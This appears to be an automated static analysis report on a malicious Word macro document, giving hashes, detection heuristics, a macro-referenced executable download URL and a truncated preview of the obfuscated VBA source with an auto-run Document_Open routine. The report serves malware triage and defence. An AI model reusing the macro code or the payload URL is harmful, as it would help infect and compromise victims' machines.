Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f48eec81f19410b6…

MALICIOUS

Office (OLE)

320.5 KB Created: 2018-10-23 10:21:00 Authoring application: Microsoft Office Word First seen: 2019-08-04
MD5: 1fde5c95dec8bcc5b0989312ff9631a1 SHA-1: 26450376b7ae50971d4ba5a00624f0d44f61e4c8 SHA-256: f48eec81f19410b6b0981d0b84c1d4bf32d3bf7f3c0b3f10d29a353b4eeca758
264 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a VBA macro that executes a Shell command. This command is obfuscated and contains a URL, indicating it's designed to download and run a second-stage payload. The presence of the Document_Open macro and Shell() call strongly suggests malicious intent.

Heuristics 8

  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL
    VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://sweetturningfirm.work/Mineral.exe Referenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 23232 bytes
SHA-256: b486f3b3ef2dd9af45244230b13c48448a19d7ee5478df814f1dc1ad6529d931
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 20 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Const BRPAYOatZnRCTlQXcvfWYCsuAWAFriXnTWAAKaqMncGOLEY = 3204258
Private Const uePvjfDiZQOzWyHGDZNEFGRzZUzCNUCqPSH8244 = 8
Const VUowrwxIntYCOuCRVStoMQWOgBVENYj20113 = 36
Private Const LBYLmrPGgXLnFattS = 1
Const kUwZTcFyZQqasuOJVKvJUg38723426040246 = 8
Private Const rSkilQNJIJLfwxnT03204258 = 12
Const JRvCeWtsfIzPqzmyebBLAxJyC6064329 = 9110
Private Const RGnuGUMUHSwjRmQEA269973373943519438 = 439023083
Const ddLEJggucoTVwJpqFQp98529 = 6064329
Private Const AhTwWDPJumpiKtMvX439023083 = 20113
Const KGLpAubBUAjoqFuZBOcEDGTnqVsQuDFOWsSCPyyuDapNznG = 98991784
Private Const FXIXuRiOuQARmEnlhotYLfviD1356 = 4
Const XyeCKHQbeRihzITzioCphjCkKcBfNZ3373943 = 38
Private Const olKqBMoQwDUDvWjhd = 4
Const riFlOFpJNrOjPpiJpXJghJnRaBcVuGCFm5503812979697 = 4
Private Const ZUHtjjsFtAKZWCApkFLxGfNFow98991784 = 43
Const vDVCTHVcUvYsZNGLZ732111 = 699
Private Const EaAZqWiySLOeUGdIn8450079137780744 = 19438
Const GdBiSiCrKVHptdxqXCm60837 = 732111
Private Const RGXZWTieuzahGUVKc19438 = 3373943
Const mYonASsaSzPgSyFsUHKDGpHoSuzeYzjAOB = 91
Private Const NuVvnXcSAQGygpggop9029 = 8
Const yaqGamCbtRJBrPMUtlrlRKiScUUTZAl540314 = 10
Private Const iUogBaKrAwXuGDBYW = 1
Const wDXosYdGSjCtfzlntexFqjBUbhbOFkzEN3336777255 = 8
Private Const QEViXnuIkwiBqOPjTVm91 = 11
Const jxmWiechxFWzNQTFa5781 = 28874011
Private Const iOEcScEIAYakiTboB7790453918153969 = 71564160
Const jRRgYuWmfkpKHeRVdGg2946329 = 5781
Private Const ZADBDxWnyVVZsxMKG71564160 = 540314
Const LpKeeMBwFKRbmeCDXvfIsDpHssdtfcUXwDQJxOdgYNM = 94884797
Private Const IQrxKgCCYupNKNulwgEBRWIjGPdkH9221 = 8
Const CmmbsfONHujbdIi625867026 = 15
Private Const eaXpHIIOGnEFxwd = 6
Const psAAXuimpHazvIGXGWMrSg426960749502 = 8
Private Const VvyRsbnqTmIHquDRuYsCbiVOXjYK94884797 = 70
Const cQZyUCwvgiWOevj45007913 = 7807441
Private Const NvwSjifXEDcQRGs06150624543186 = 8767591
Const HMVqAdjSmDjtrEMtR62 = 45007913
Private Const yUcMJUEhpwvBHpg8767591 = 625867026



Private Sub Document_Open()
Call FQKTCTXUmjHnwHU
End Sub

Private Sub FQKTCTXUmjHnwHU()
Dim CJgVwGKqPzdbCqulSJTdYroBQFMBlgqBIyg

Dim OMfqQZgMYdKKvUWWyp

Application.Run "DVTOqrU.LgBlPEon"

Dim LVeFrtJEjJbSEKmWFedNzKcdnv

Dim UcyiRvibwaPwLBENBpGofST

End Sub




Attribute VB_Name = "DVTOqrU"
Const BRPAYOatZnRCTlQXcvfWYCsuAWAFriXnTWAAKaqMncGOLEY = 3204258
Private Const uePvjfDiZQOzWyHGDZNEFGRzZUzCNUCqPSH8244 = 8
Const VUowrwxIntYCOuCRVStoMQWOgBVENYj20113 = 36
Private Const LBYLmrPGgXLnFattS = 1
Const kUwZTcFyZQqasuOJVKvJUg38723426040246 = 8
Private Const rSkilQNJIJLfwxnT03204258 = 12
Const JRvCeWtsfIzPqzmyebBLAxJyC6064329 = 9110
Private Const RGnuGUMUHSwjRmQEA269973373943519438 = 439023083
Const ddLEJggucoTVwJpqFQp98529 = 6064329
Private Const AhTwWDPJumpiKtMvX439023083 = 20113
Const KGLpAubBUAjoqFuZBOcEDGTnqVsQuDFOWsSCPyyuDapNznG = 98991784
Private Const FXIXuRiOuQARmEnlhotYLfviD1356 = 4
Const XyeCKHQbeRihzITzioCphjCkKcBfNZ3373943 = 38
Private Const olKqBMoQwDUDvWjhd = 4
Const riFlOFpJNrOjPpiJpXJghJnRaBcVuGCFm5503812979697 = 4
Private Const ZUHtjjsFtAKZWCApkFLxGfNFow98991784 = 43
Const vDVCTHVcUvYsZNGLZ732111 = 699
Private Const EaAZqWiySLOeUGdIn8450079137780744 = 19438
Const GdBiSiCrKVHptdxqXCm60837 = 732111
Private Const RGXZWTieuzahGUVKc19438 = 3373943
Const mYonASsaSzPgSyFsUHKDGpHoSuzeYzjAOB = 91
Private Const NuVvnXcSAQGygpggop9029 = 8
Const yaqGamCbtRJBrPMUtlrlRKiScUUTZAl540314 = 10
Private Const iUogBaKrAwXuGDBYW = 1
Const wDXosYdGSjCtfzlntexFqjBUbhbOFkzEN3336777255 = 8
Private Const QEViXnuIkwiBqOPjTVm91 = 11
Const jxmWiechxFWzNQTFa5781 = 28874011
Private Const iOEcScEIAYakiTboB7790453918153969 = 71564160
Const jRRgYuWmfkpKHeRVdGg2946329 = 5781
Private Const ZADBDxWnyVVZsxMKG71564160 = 540314
Const LpKeeMBwFKRbmeCDXvfIsDpHssdtfcUXwDQJxOdgYNM = 94884797
Pri
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.